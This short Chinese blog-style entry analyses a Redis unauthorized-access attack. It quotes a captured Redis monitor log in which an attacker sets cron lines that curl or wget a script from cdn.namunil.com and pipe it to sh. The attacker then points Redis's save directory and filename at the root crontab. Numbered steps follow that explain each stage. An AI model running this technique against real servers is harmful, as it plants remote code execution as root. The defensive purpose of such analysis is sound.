[日常] 研究redis未授权访问漏洞利用过程

前提:redis允许远程连接,不需要密码

1522057495.583846 [0 123.206.24.121:50084] "set" "dUHkp" "

*/1 * * * * curl cdn.namunil.com/sh.php|sh
"
1522057495.584467 [0 123.206.24.121:50084] "set" "yA" "

*/2 * * * * wget -O- cdn.namunil.com/sh.php|sh
"
1522057495.585023 [0 123.206.24.121:50084] "set" "HoemuOP" "

*/3 * * * * /usr/bin/curl -qs cdn.namunil.com/sh.php|/bin/sh
"
1522057495.585650 [0 123.206.24.121:50084] "set" "ehWap" "

*/4 * * * * /usr/bin/wget -q -O- cdn.namunil.com/sh.php|/bin/sh
"
1522057495.586313 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/"
1522057495.587036 [0 123.206.24.121:50084] "config" "set" "dbfilename" "root"
1522057495.587374 [0 123.206.24.121:50084] "save"
1522057495.587827 [0 123.206.24.121:50084] "config" "set" "dir" "/var/spool/cron/crontabs/"
1522057495.588235 [0 123.206.24.121:50084] "save"

1.执行set命令,保存字符串,value 是一条cron规则的形式
2.设置备份文件的目录到cron目录
3.设置备份文件的文件名成root
4.save保存文件,直接把字符串中的cron规则写入了文件
5.cron定时执行,远程脚本里面各种操作